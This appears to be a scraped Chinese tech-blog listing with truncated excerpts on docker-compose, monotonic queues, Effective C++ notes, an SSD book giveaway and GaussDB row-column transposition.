docker-compose 是 Docker 生态系统中的一个重要成员&#xff0c;它允许开发人员使用一个简单的配置文件来定义和运行多个 Docker 容器。通过 docker-compose&#xff0c;你可以定义应用程序的各个组件、容器之间的依赖关系以及网络配置&#xff0c;从而实现在一个命令中启动、…...

单调队列

目录 一&#xff0c;单调队列 二&#xff0c;模板实现 三&#xff0c;OJ实战 剑指 Offer 59 - I. 滑动窗口的最大值 一&#xff0c;单调队列 单调队列是双端队列的拓展&#xff0c;支持尾部插入&#xff0c;双端删除&#xff0c;其中的数据始终维持单调性&#xff0c;从而…...

effective c++ 笔记

TODO&#xff1a;还没看太懂的篇章 item25 item35 模板相关内容 文章目录 基础视C为一个语言联邦以const, enum, inline替换#define尽可能使用constconst成员函数 确定对象使用前已被初始化 构造、析构和赋值内含引用或常量成员的类的赋值操作需要自己重写不想使用自动生成的函…...

【送书活动】深入浅出SSD:固态存储核心技术、原理与实战

前言 「作者主页」&#xff1a;雪碧有白泡泡 「个人网站」&#xff1a;雪碧的个人网站 「推荐专栏」&#xff1a; ★java一站式服务 ★ ★ React从入门到精通★ ★前端炫酷代码分享 ★ ★ 从0到英雄&#xff0c;vue成神之路★ ★ uniapp-从构建到提升★ ★ 从0到英雄&#xff…...

GaussDB数据库SQL系列-行列转换

一、前言 二、简述 1、行转列概念 2、列转行概念 三、GaussDB数据库的行列转行实验示例 1、行转列示例 1&#xff09;创建实验表&#xff08;行存表&#xff09; 2&#xff09;静态行转列 3&#xff09;行转列&#xff08;结果值&#xff1a;拼接式&#xff09; 4&…...